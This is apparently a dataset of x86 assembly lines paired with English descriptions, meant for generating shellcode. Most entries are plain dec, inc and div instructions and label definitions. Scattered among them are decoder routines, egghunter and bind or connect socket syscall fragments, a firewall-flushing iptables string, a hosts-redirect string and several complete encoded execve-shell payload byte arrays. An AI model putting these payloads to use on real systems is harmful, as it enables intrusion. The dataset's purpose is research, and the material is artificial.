| dec cl \n jns loop_dup decrement the contents of the cl register and jump to the loop_dup label if the result is not negative
|
| dec cl \n jns loopinghere decrement the contents of the cl register and jump to the loopinghere label if the result is not negative
|
| dec cl \n jnz L2 decrement cl and jump to L2 if the result is not equal to zero
|
| dec cl \n jz L2 decrement cl and jump to L2 if the result is zero
|
| dec dl decrement dl
|
| dec dl decrement the dl register by one
|
| dec dl \n jnz L3 decrement dl and jump to L3 if the result is not zero
|
| dec dl \n jz L3 decrement dl and jump to L3 if the result is zero
|
| dec eax decrements eax by 1
|
| dec eax decrement eax content
|
| dec eax decrement eax content by 1
|
| dec eax decrement the contents of the eax register
|
| dec eax subtract one from the contents of eax
|
| dec eax decrement the eax register by one
|
| dec eax decrement eax
|
| dec ebp decrease ebp
|
| dec ebx decrement ebx by 1
|
| dec ebx decrement ebx
|
| dec ebx decrease ebx by 1
|
| dec ebx subtract one from the contents of ebx
|
| dec ebx decrement the ebx register by one
|
| dec ecx decrements ecx by 1
|
| dec ecx decrement ecx by 1
|
| dec ecx decrement ecx
|
| dec ecx decrement ecx register
|
| dec ecx decrement loop counter
|
| dec ecx decrement the counter ecx
|
| dec ecx decrement ecx alias loop counter
|
| dec ecx decrement loop-counter
|
| dec ecx decrement ecx content
|
| dec ecx decrement ecx content by 1
|
| dec ecx count down to zero
|
| dec ecx decrement counter
|
| dec ecx decrease ecx by 1
|
| dec ecx decrement the contents of the ecx register
|
| dec ecx decrement the ecx register by one
|
| dec ecx \n jns _dup2_loop decrement the contents of the ecx register and jump to the _dup2_loop label if the result is not negative
|
| dec ecx \n jns 2f_loop decrement the contents of the ecx register and jump to the 2f_loop label if the result is not negative
|
| dec ecx \n jns dup2 decrement the contents of the ecx register and jump to the dup2 label if the result is not negative
|
| dec ecx \n jns dup2loop decrement the contents of the ecx register and jump to the dup2loop label if the result is not negative
|
| dec ecx \n jns dup2loop decrement ecx by 1 and jump to the dup2loop procedure until ecx equals 0
|
| dec ecx \n jns duploop decrement the contents of the ecx register and jump to the duploop label if the result is not negative
|
| dec ecx \n jns loop decrement ecx by 1 and as long as sf is not set, jump to _loop label
|
| dec ecx \n jns loop decrement the contents of the ecx register and jump to the loop label if the result is not negative
|
| dec ecx \n jns loop2 decrement the contents of the ecx register and jump to the loop2 label if the result is not negative
|
| dec ecx \n jz counter_is_now_zero decrement the contents of the ecx register and jump to the counter_is_now_zero label if the result is zero
|
| dec edi decrement edi register
|
| dec edi decrement edi content
|
| dec edx decrement edx content by 1
|
| dec edx decrement the edx register by one
|
| dec edx decrement edx
|
| dec esp decrement esp
|
| dec esp decrement the esp register by one
|
| decode_insertion: define decode_insertion label
|
| decode_loop: decode_loop
|
| decode_pr: define decode_pr label
|
| decode_pr: decode_pr function
|
| decode_xor: define decode_xor label
|
| decode: define _decode label
|
| decode: declare _decode label
|
| decode: define decode label
|
| decode: define _ decode label
|
| decode: define decode function
|
| decode: declare the decode label
|
| decode: define the decode label
|
| decode: function decode
|
| decode: decode function
|
| decode: decode routine
|
| decode: decode label
|
| decode: \n cmp byte [esi], 0x7 \n jl lowbound \n sub byte [esi], 0x7 \n jmp common_commands in the decode function jump to lowbound label if the current byte of the shellcode is lower than 0x7 else subtract 0x7 from the byte of the shellcode and jump to common_commands
|
| decode: \n mov bl, byte [esi] in decode move the current byte of the shellcode in the bl register
|
| decode: \n not byte [esi] define the decode function and negate the byte in esi
|
| decode: \n sub byte [esi], 13 define decode function and subtract 13 from the current byte of the shellcode
|
| decode: \n xor byte [esi], 0xaa define the decode function and perform the xor operation between the byte in esi and the 0xaa value
|
| decoded_shellcode: define _decoded_shellcode label
|
| decoded_shellcode: define decoded_shellcode function
|
| decoded_shellcode: \n call [esp] declare the decoded_shellcode label and call the stack
|
| decoder_setup: decoder_setup label
|
| decoder_value: db 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d define decoder_value as an array of the following bytes: 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d
|
| decoder: declare decoder label
|
| decoder: declare _decoder label
|
| decoder: declare _decoderf label
|
| decoder: define decoder label
|
| decoder: define decoder_label
|
| decoder: define _decoder label
|
| decoder: define _ decoder label
|
| decoder: define the decoder function
|
| decoder: decoder function
|
| decoder: decoder routine
|
| decoder: declare the label decoder
|
| decoder: define decoder
|
| decoder: decoder's main
|
| decoder: decoder label
|
| decoder: declare the decoder function
|
| decoder: define decoder function
|
| decoder: declare the decoder label
|
| decoder: \n pop esi define the decoder function and store the encoded shellcode pointer in the esi register
|
| decoder: \n pop esi in the decoder routine save the shellcode in esi
|
| decoder: \n pop esi \n mov edi, esi in decoder save the shellcode in esi and move it to edi
|
| decoder1: define decoder1_label
|
| decoder2: declare decoder2_label
|
| decrypt: define _decrypt label
|
| decrypt: declare the decrypt label
|
| dim: equ 25 declare a constant size and set equal to 25
|
| dim: equ 512 define dim to be 512 bytes large
|
| div dword [value] divide the contents of eax by the word value stored at memory location value
|
| div dword [var] divide the contents of in eax by by the word value stored at memory location var
|
| div dword ptr [eax] divide dx:ax by the double word in eax storing in ax the quotient and in dx the reminder
|
| div ebx divide eax by ebx
|
| div ebx divide the contents of eax by the contents of ebx
|
| div ecx divide eax by ecx
|
| div ecx divide eax by ecx the result of the division is stored in eax and the remainder in edx
|
| div edx divide eax by value in edx
|
| div esi divide eax by esi
|
| do_dup: declare the do_dup label
|
| do_dup: define do_dup label
|
| doit: declare the doit label
|
| done: define _done label
|
| done: declare the done label
|
| download: delcare download_label
|
| download: declare the download label
|
| download: define download function
|
| dup2: declare _dup label
|
| dup2: declare _dup2 label
|
| dup2: define dup2 label
|
| dup2: define _dup2 label
|
| dup2: declare the dup2 label
|
| dup2: define dup2 function
|
| dup2loop: declare _dup2loop label
|
| dup2loop: delcare the dup2loop label
|
| dupcount: declare _dopcount label
|
| dupcpunt: declare _dupcount label
|
| duploop: define duploop_label
|
| duploop: declare the duploop label
|
| duploop: define duploop function
|
| egg equ 'egg ' define egg equal to 'egg '
|
| egg1 equ 'mark' define egg1 equal to 'mark'
|
| egghunter: define _egghunter label
|
| egghunter: declare the egghunter label
|
| enc: define enc_label
|
| enc: declare the enc label
|
| enc: \n call decoder define enc function and call decoder
|
| encoded_shellcode: db 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73, 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80 encoded_shellcode is an array of bytes 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73, 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80
|
| encoded_shellcode: dw 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539 define encoded_shellcode as array of words 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539
|
| encoded: define _encoded label
|
| encoded: db 0xaa,0x62,0xc0,0xaa,0xa0,0xaa,0xd0,0xaa,0x5e,0xaa,0x5e,0xaa,0xe6,0xaa,0xd0,0xaa,0xd0,0xaa,0x5e,0xaa,0xc4,0xaa,0xd2,0xaa,0xdc,0x89,0xe3,0xaa,0xa0,0x89,0xe2,0xaa,0xa6,0x89,0xe1,0xb0,0xaa,0x16,0xcd,0x80,0xbb encoded is the array of bytes 0xaa,0x62,0xc0,0xaa,0xa0,0xaa,0xd0,0xaa,0x5e,0xaa,0x5e,0xaa,0xe6,0xaa,0xd0,0xaa,0xd0,0xaa,0x5e,0xaa,0xc4,0xaa,0xd2,0xaa,0xdc,0x89,0xe3,0xaa,0xa0,0x89,0xe2,0xaa,0xa6,0x89,0xe1,0xb0,0xaa,0x16,0xcd,0x80,0xbb
|
| encoded: dw 0x04, 0x539, 0x9d9, 0x6c9, 0xfc9, 0xc49, 0xc29, 0x839, 0xdf9, 0xc49, 0xc49, 0x839, 0x839, 0xce9, 0xc59, 0x259, 0x4f9, 0xfc9, 0x259, 0x4e9, 0xff9, 0x259, 0x4d9, 0x1c9, 0xa79, 0x619, 0x2c9, 0x539 define encoded as array of words 0x04, 0x539, 0x9d9, 0x6c9, 0xfc9, 0xc49, 0xc29, 0x839, 0xdf9, 0xc49, 0xc49, 0x839, 0x839, 0xce9, 0xc59, 0x259, 0x4f9, 0xfc9, 0x259, 0x4e9, 0xff9, 0x259, 0x4d9, 0x1c9, 0xa79, 0x619, 0x2c9, 0x539
|
| encodedshellcode: define encodedshellcode_label
|
| encodedshellcode: db \xeb\x1d\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xdb\x8a\x1c\x06\x80\xf3\xaa\x75\x10\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xeb\xed\xe8\xde\xff\xff\xff\x31\xaa\xc0\xaa\x50\xaa\x68\xaa\x2f\xaa\x2f\xaa\x73\xaa\x68\xaa\x68\xaa\x2f\xaa\x62\xaa\x69\xaa\x6e\xaa\x89\xaa\xe3\xaa\x50\xaa\x89\xaa\xe2\xaa\x53\xaa\x89\xaa\xe1\xaa\xb0\xaa\x0b\xaa\xcd\xaa\x80\xaa\xbb\xbb define the array of bytes encodedshellcode and initialize to \xeb\x1d\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xdb\x8a\x1c\x06\x80\xf3\xaa\x75\x10\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xeb\xed\xe8\xde\xff\xff\xff\x31\xaa\xc0\xaa\x50\xaa\x68\xaa\x2f\xaa\x2f\xaa\x73\xaa\x68\xaa\x68\xaa\x2f\xaa\x62\xaa\x69\xaa\x6e\xaa\x89\xaa\xe3\xaa\x50\xaa\x89\xaa\xe2\xaa\x53\xaa\x89\xaa\xe1\xaa\xb0\xaa\x0b\xaa\xcd\xaa\x80\xaa\xbb\xbb
|
| encodedshellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce define the array of bytes encodedshellcode and initialize it to 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce
|
| encodedshellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce define the array of bytes encodedshellcode and initialize to 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce
|
| encodedshellcode: db 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35,0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe encodedshellcode is the array of bytes 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35,0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe
|
| encodedshellcode: db 0x4c,0xbd,0x2d,0x15,0x52,0x52,0x0e,0x15,0x15,0x52,0x1f,0x14,0x13,0xf4,0x9e,0x2d,0xf4,0x9f,0x2e,0xf4,0x9c,0xcd,0x76,0xb0,0xfd declare _encodedshellcode label and the encoded shellcode: 0x4c,0xbd,0x2d,0x15,0x52,0x52,0x0e,0x15,0x15,0x52,0x1f,0x14,0x13,0xf4,0x9e,0x2d,0xf4,0x9f,0x2e,0xf4,0x9c,0xcd,0x76,0xb0,0xfd
|
| encodedshellcode: db 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3 define _encodedshellcode label declare db 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3
|
| encodedshellcode: db 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3 define the array of bytes encodedshellcode and initialize it to 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3
|
| encodedshellcode: db 0xd6,0x47,0xb7,0x9f,0xd8,0xd8,0x94,0x9f,0x9f,0xd8,0xa5,0x9e,0x99,0x7e,0x24,0xb7,0x7e,0x25,0xb4,0x7e,0x26,0x57,0xfc,0x3a,0x87 define the array of bytes encodedshellcode and initialize it to 0xd6,0x47,0xb7,0x9f,0xd8,0xd8,0x94,0x9f,0x9f,0xd8,0xa5,0x9e,0x99,0x7e,0x24,0xb7,0x7e,0x25,0xb4,0x7e,0x26,0x57,0xfc,0x3a,0x87
|
| encodedshellcode: db 0xeb,0x0c,0x5e,0x31,0xc9,0xb1,0x19,0xf6,0x16,0x46,0xe2,0xfb,0xeb,0x05,0xe8,0xef,0xff,0xff,0xff,0xce,0x3f,0xaf,0x97,0xd0,0xd0,0x8c,0x97,0x97,0xd0,0x9d,0x96,0x91,0x76,0x1c,0xaf,0x76,0x1d,0xac,0x76,0x1e,0x4f,0xf4,0x32,0x7f define the array of bytes encodedshellcode and initialize it to 0xeb,0x0c,0x5e,0x31,0xc9,0xb1,0x19,0xf6,0x16,0x46,0xe2,0xfb,0xeb,0x05,0xe8,0xef,0xff,0xff,0xff,0xce,0x3f,0xaf,0x97,0xd0,0xd0,0x8c,0x97,0x97,0xd0,0x9d,0x96,0x91,0x76,0x1c,0xaf,0x76,0x1d,0xac,0x76,0x1e,0x4f,0xf4,0x32,0x7f
|
| encoder_shellcode: db 0x08,0x60,0x58,0xc8,0x39,0xb0,0xd8,0xc3,0x9f,0x9f,0xd1,0xb8,0xb3,0xfe,0xb9,0x1e,0x4e,0xfd,0x97,0x70,0x39,0xb0,0x6a,0xdb,0xb0,0xc4,0x09,0xcf,0x74,0x25,0x76,0xe6,0xe6,0xe6,0xf6,0x90,0x90,0xaa,0xaa encoder_shellcode is the array of bytes 0x08,0x60,0x58,0xc8,0x39,0xb0,0xd8,0xc3,0x9f,0x9f,0xd1,0xb8,0xb3,0xfe,0xb9,0x1e,0x4e,0xfd,0x97,0x70,0x39,0xb0,0x6a,0xdb,0xb0,0xc4,0x09,0xcf,0x74,0x25,0x76,0xe6,0xe6,0xe6,0xf6,0x90,0x90,0xaa,0xaa
|
| encrypt: define _encrypt label
|
| encrypt: declare the encrypt label
|
| end: define _end label
|
| end: declare the end label
|
| entrypoint: define _entrypoint label
|
| entrypoint: declare the entrypoint label
|
| even_number: define even_number label
|
| even_number: define even_number
|
| even_number: define even_number function
|
| execfile: declare _execfile label
|
| execfile: define execfile function
|
| execfile: declare the execfile label
|
| execute_shellcode: \n jmp short esp in execute_shellcode jump short to esp
|
| execute: define _execute label
|
| execute: declare the execute label
|
| exit_call equ 1 define exit_call =1
|
| exit_call equ 1 define exit_call equal to 1
|
| exit_on_error: define exit_on_error label
|
| exit_on_error: declare the exit_on_error label
|
| exit: define exit_label
|
| exit: define _exit label
|
| exit: define exit function
|
| exit: define the exit label
|
| exit: declare the exit label
|
| F1: \n call function_1 define F1 and call the function function_1
|
| F1: \n cmp byte [esi], 0x1 \n jl L1 \n sub byte [esi], 0x1 \n jmp L2 in the function F1 jump to label L1 if the current byte of the shellcode is lower than 0x1 else subtract 0x1 from the byte of the shellcode and jump to L2
|
| F1: \n inc esi in the function F1 point to the next byte in esi
|
| F1: \n inc esi \n inc esi in the function F1 point to the next word in esi
|
| F1: \n jmp short L1 define F1 function and jump short to L1
|
| F1: \n not cl \n inc cl in the function F1 negate cl and increment cl to the next byte
|
| F1: \n not cl \n inc cl define F1, negate cl and increment cl to the next byte
|
| F1: \n not cl \n inc cl define F1, negate cl and point to the next byte in the cl register
|
| F1: \n pop esi define the function F1 and store the encoded shellcode pointer in the esi register
|
| F1: \n pop esi declare the function F1 and save in esi the pointer to the shellcode
|
| F1: \n pop esi declare the function F1 and point the shellcode in esi
|
| F1: inc edi \n jmp short L1 in the function F1 point to the next byte of the edi and jump short to L1
|
| F2: \n call function_1 define F2 and call the function function_2
|
| F2: \n cmp byte [esi], 0x2 \n jg L1 \n add byte [esi], 0x2 \n jmp L2 in the function F2 jump to label L1 if the current byte of the shellcode is greater than 0x2 else add 0x2 to the byte of the shellcode and jump to L2
|
| F2: \n inc esi declare F2 and point to the next byte in esi
|
| F2: \n inc esi \n inc esi declare F2 and point to the next word in esi
|
| F2: \n jmp L3 define F2 function and jump to L3
|
| F2: \n not bl \n inc bl in the function F2 negate bl and move bl to the next byte
|
| F2: \n not bl \n inc bl declare F2, negate bl and move bl to the next byte
|
| F2: \n not bl \n inc bl declare F2, negate bl and point to the next byte in bl
|
| F2: inc eax \n jmp L1 in F2 point to the next byte of the eax register and jump to label L2
|
| F3: \n call function_1 define F3 and call the function function_3
|
| F3: \n cmp byte [esi], 0x3 \n je L1 \n mov byte [esi], 0x3 \n jmp L2 in the routine F3 jump to label L1 if the current byte of the shellcode is equal to 0x3 else move 0x3 into the byte in esi and jump to L2
|
| F3: \n inc edi declare F3 function and point to the next byte in edi
|
| F3: \n inc edi \n edi declare F3 function and point to the next word in edi
|
| F3: \n jmp L5 define F3 and jump to L5
|
| F3: \n not al \n inc al in the function F3 negate al and move al to the next byte
|
| F3: \n not al \n inc al define the function F3, negate al and move al to the next byte
|
| F3: \n not al \n inc al define the function F3, negate al and point to the next byte in al
|
| F3: inc ebx \n jmp short L2 define the function F3, move to the next byte of ebx and jump short to L2
|
| F4: \n call function_1 define F4 and call the function function_4
|
| F4: \n cmp byte [esi], 0x1 \n jl L1 \n sub byte [esi], 0x1 \n jmp L2 in the function F4 jump to label L1 if the byte specified by the address in esi is lower than 0x1 else subtract 0x1 from the byte at the address in esi and jump to L2
|
| F4: \n jmp short L5 declare F4 and jump short to F5
|
| F4: \n not dl \n inc dl in the function F4 negate dl and point to the next byte in the dl register
|
| F4: \n not dl \n inc dl declare the function F4, negate dl and move dl to the next byte
|
| F4: inc ecx \n jmp L2 declare F4, move to the next byte in ecx and jump to L2
|
| F5: \n call function_1 define F5 and call the function function_5
|
| F5: \n cmp byte [esi], 0x2 \n jg L1 \n add byte [esi], 0x2 \n jmp L2 in the function F5 jump to label L1 if the byte at the address in esi is greater than 0x2 else add 0x2 to the byte at the address in esi and jump to L2
|
| F5: \n jmp L1 declare F5 and jump to L1
|
| F5: inc edx \n jmp short L3 define the function F5, increment edx and jump short to L3
|
| F6: \n cmp byte [esi], 0x3 \n je L1 \n mov byte [esi], 0x3 \n jmp L2 in the routine F6 jump to label L1 if the byte at the address specified by esi is equal to 0x3 else move 0x3 into the byte in esi and jump to L2
|
| file: db '/sbin/iptables#-f' define file as the byte string '/sbin/iptables#-f'
|
| fileaddress: define _fileaddress label
|
| fileaddress: declare the fileaddress label
|
| filecontents: resb 128 reserve filecontents variable of 128 bytes
|
| filename: db 'readme.txt', 0h create a string filename and initialize to 'readme.txt'
|
| filename: resb 255 reserve a variable filename of 255 bytes
|
| filestoread: define filestoread_label
|
| fill: declare the fill label
|
| fill: define fill label
|
| find_address: define find_address label
|
| find_egg: define find_egg label
|
| find_egg: declare the find_egg label
|
| find_egg: define find_egg function
|
| fldpi push pi onto the fpu stack
|
| fldz \n fstenv [esp-0xc] \n pop edi obtain the address of the first instruction of the shellcode
|
| format: define format label
|
| format: define format routine
|
| format: declare the format label
|
| formatting: define formatting label
|
| formatting: formatting label
|
| formatting: declare the formatting label
|
| four: define _four label
|
| four: declare the four label
|
| fstenv [esp-0xc] \n pop esi obtain the address of the first instruction of the shellcode alias the entry mem addr of this code (_start) and then pop it in esi
|
| function_1: \n call [esp] define function_1 and execute it
|
| function_2: \n call [esp] declare function_2 and execute it
|
| function_3: \n call [esp] declare function_3 and call it
|
| function_4: \n call [esp] define function_4 and call it
|
| function_5: \n call [esp] define function_5 and execute it
|
| fupdisasm: define fupdisasm function
|
| fupdisasm: define fupdisasm label
|
| fwait put cpu into a wait state until the coprocessor signals it has finished itÕs operation
|
| get_key: define _get_key label
|
| get_shellcode_addr: get_shellcode_addr function
|
| get: declare get_label
|
| get: declare the get label
|
| global _shell declare _shell as global label
|
| global _start declare global start
|
| global _start define global _start
|
| global _start declare global _start, section .text, _start label
|
| global _start declare of the global _start
|
| global _start global _start
|
| global _start define the program entry point
|
| global _start declare _start as global label
|
| global _start declare global _start
|
| global _start \n _start: declare global start and _start label
|
| global _start \n _start: declare global _start and _start label
|
| global _start \n _start: declare global _start, section .text, _start label
|
| global _start \n section .text \n _start: declare global start, section .text and _start label
|
| global _start \n section .text \n _start: declare global start, text section and _start label
|
| global _start \n section .text \n _start: declare global _start, setion .text, _start
|
| global _start \n section .text \n _start: declare global _start, section .text, _start label
|
| global _start \n section .text \n _start: declare global _start, section .text and_start label
|
| global _start \n section .text \n \n _start: declare global _start, section .text, _start label
|
| global _start \n section .text \n egg_sig equ 0x4f904790 \n _start: declare global _start, section .text, egg_sign = 0x4f904790 and_start label
|
| global _start \n section .text \n sys_execve equ 0x0b \n _start: declare global _start, section .text, sys_execve = 0x0b and_start label
|
| global _start: declare the global _start label
|
| global _start: global _start
|
| google db '127.1.1.1 google.com' define google as the byte string '127.1.1.1 google.com'
|
| google: db '127.1.1.1 google.com' define the byte string google and initialize it to '127.1.1.1 google.com'
|
| gotocall: define _gotocall label
|
| gotocall: declare the gotocall label
|
| hello: db 'hello world!',10 create a string 'hello world!' plus a linefeed character
|
| hellolen: equ $-hello define hellolen equal to the length of the hello string
|
| here: declare the here label
|
| here: define here label
|
| hlt halt cpu until reset line is activated
|
| in al,0x10 read the hexadecimal value 0x10 and place it in al register
|
| inc [count] increment the count variable
|
| inc al increment the contents of the al register
|
| inc al \n inc al increment al register of 2
|
| inc ax add 1 to ax
|
| inc ax increment ax
|
| inc ax increment the contents of the ax register
|
| inc bl increment bl by 1
|
| inc bl increment bl register by 1
|
| inc bl increment the contents of the bl register
|
| inc bl \n inc bl increase bl by 2 so ebx=2
|
| inc bx increment bx
|
| inc bx increment the contents of the bx register
|
| inc byte [esp+ecx] increment the byte at the address [esp+ecx] by one
|
| inc cl increase cl of 1
|
| inc cl increase cl by 1 so ecx = 1
|
| inc cl increment the contents of the cl register
|
| inc cl \n cmp cx \n jle dupcount increase cl of 1 until the contents of cx is less than or equal to 2 with sign
|
| inc count increment the memory variable count
|
| inc cx increment cx by 1
|
| inc dl save 0x0a into dl to have bad line feed char
|
| inc dl increment dl
|
| inc dl increment dl register
|
| inc dl increment the contents of the dl register
|
| inc dword [tmp] add one to the doubleword integer stored at memory location tmp
|
| inc dword [value] add one to the doubleword integer stored at memory location value
|
| inc dword [var] add one to the doubleword integer stored at location var
|
| inc dx increment the contents of the dx register
|
| inc dx increment dx by one
|
| inc eax increase eax by 1
|
| inc eax increment eax by 1
|
| inc eax incement eax register by 1
|
| inc eax increase eax content by 1
|
| inc eax increment eax content by 1
|
| inc eax increment eax
|
| inc eax increment the address in eax by one byte
|
| inc eax point to the next byte in eax
|
| inc eax point to the next byte in the eax register
|
| inc eax increment the contents of the eax register
|
| inc eax \n cmp dword [eax], ebx \n jne next_addr \n jmp eax go to next memory address increasing eax, then check if the egg is at that memory address. if yes set zf = 1 and go to eax. else zf = 0 and go to next_addr label
|
| inc eax \n inc eax point to the next word in the eax register
|
| inc eax \n inc eax move to the next word in eax
|
| inc eax \n inc eax \n inc eax \n inc eax point to the next double word in eax
|
| inc eax \n inc eax \n inc eax \n inc eax move to the next double word in the eax register
|
| inc eax \n inc esi \n inc edi increment eax, esi and edi by 1
|
| inc eax \n int 0x80 load __nr_exit into eax register and call kernel
|
| inc eax \n int 0x80 execute exit syscall
|
| inc eax \n int 0x80 execute waitpid syscall
|
| inc ebx increment ebx by 1
|
| inc ebx increment ebx content by 1
|
| inc ebx define sys_socket 1
|
| inc ebx increment ebx content defining sys_socket =1
|
| inc ebx define sys_socket by increasing ebx by 1
|
| inc ebx increment ebx content defining sys_bind = 2
|
| inc ebx increment ebx content deining the argument sys_acccept = 5
|
| inc ebx increment ebx content then push it on stack
|
| inc ebx increment ebx by 1. ebx = sys_socket = 1.
|
| inc ebx increment ebx content
|
| inc ebx inc-rement ebx by 1
|
| inc ebx ebx(5) = sys_accept = accept()
|
| inc ebx set connect = 3
|
| inc ebx add 1 to ebx
|
| inc ebx fix egg signature in ebx adding 1
|
| inc ebx load bind =2 into ebx register
|
| inc ebx increment ebx register
|
| inc ebx increment the contents of the ebx register
|
| inc ebx increment ebx
|
| inc ebx point to the next byte in the ebx register
|
| inc ebx \n inc ebx increment ebx content two times
|
| inc ebx \n inc ebx increment ebx two times defining sys_listen = 4
|
| inc ebx \n inc ebx point to the next word in the ebx register
|
| inc ebx \n inc ebx move to the next word in the ebx register
|
| inc ebx \n inc ebx \n inc ebx \n inc ebx point to the next double word in ebx
|
| inc ebx \n inc ebx \n inc ebx \n inc ebx move to the next double word in the ebx register
|
| inc ebx \n push bx increment ebx content and push it on stack
|
| inc ebx \n push ebx increment ebx content and puh it on the stack
|
| inc ebx \n push ebx increment ebx content then push it on stack
|
| inc ebx \n push ebx push 1 on stack
|
| inc ecx go to next address
|
| inc ecx increment ecx
|
| inc ecx increment ecx content by 1
|
| inc ecx increment ecx to 1
|
| inc ecx increment ecx by 1
|
| inc ecx increment ecx content
|
| inc ecx point to the next position in ecx
|
| inc ecx point to the next byte in ecx
|
| inc ecx next instruction in the ecx register
|
| inc ecx increment the contents of the ecx register
|
| inc ecx \n inc ecx point to the next word in the ecx
|
| inc ecx \n inc ecx move to the next word in the ecx
|
| inc ecx \n inc ecx \n inc ecx \n inc ecx point to the next double word in ecx
|
| inc ecx \n inc ecx \n inc ecx \n inc ecx move to the next double word in the ecx register
|
| inc edi increments edi by 1
|
| inc edi increment edi register by 1
|
| inc edi increment edi content
|
| inc edi increment edi register
|
| inc edi inrement edi register
|
| inc edi increment the contents of the edi register
|
| inc edi point to the next byte in edi
|
| inc edi increment edi
|
| inc edi \n add al,0x2 increment edi register
|
| inc edi \n inc cl increase edi and cl contents of 1
|
| inc edx increment edx register by 1
|
| inc edx increment edx register
|
| inc edx increment edx register by1
|
| inc edx increment edx
|
| inc edx point to the next byte in edx
|
| inc edx point to the next byte in the edx register
|
| inc edx increment the contents of the edx register
|
| inc edx \n inc edx next word in the edx
|
| inc edx \n inc edx \n inc edx \n inc edx point to the next double word in edx
|
| inc edx \n inc edx \n inc edx \n inc edx move to the next double word in the edx register
|
| inc edx \n inc edx \n inc edx \n inc edx \n inc edx \n inc edx \n inc edx \n inc edx increment edx by 1 for 8 times
|
| inc edx \n push edx push sock_stream = 1
|
| inc edx \n push edx push af_inet = 2
|
| inc edx \n push edx increment edx and push sock_stream = 1 on stack
|
| inc edx \n push edx increment edx and push af_inet = 2 on stack
|
| inc esi increase esi of 1
|
| inc esi increment esi content
|
| inc esi incremenet esi content
|
| inc esi increment the offset (esi content)
|
| inc esi esi point to next istruction in the encoded shellcode
|
| inc esi move to the next byte increasing esi by 1
|
| inc esi increment esi
|
| inc esi point to the next byte in esi
|
| inc esi next byte in the encoded shellcode
|
| inc esi point to the next byte of the shellcode
|
| inc esi move to next byte in esi
|
| inc esi point to the next byte of the encoded shellcode
|
| inc esi increment to the next byte of the shellcode
|
| inc esi increment the contents of the esi register
|
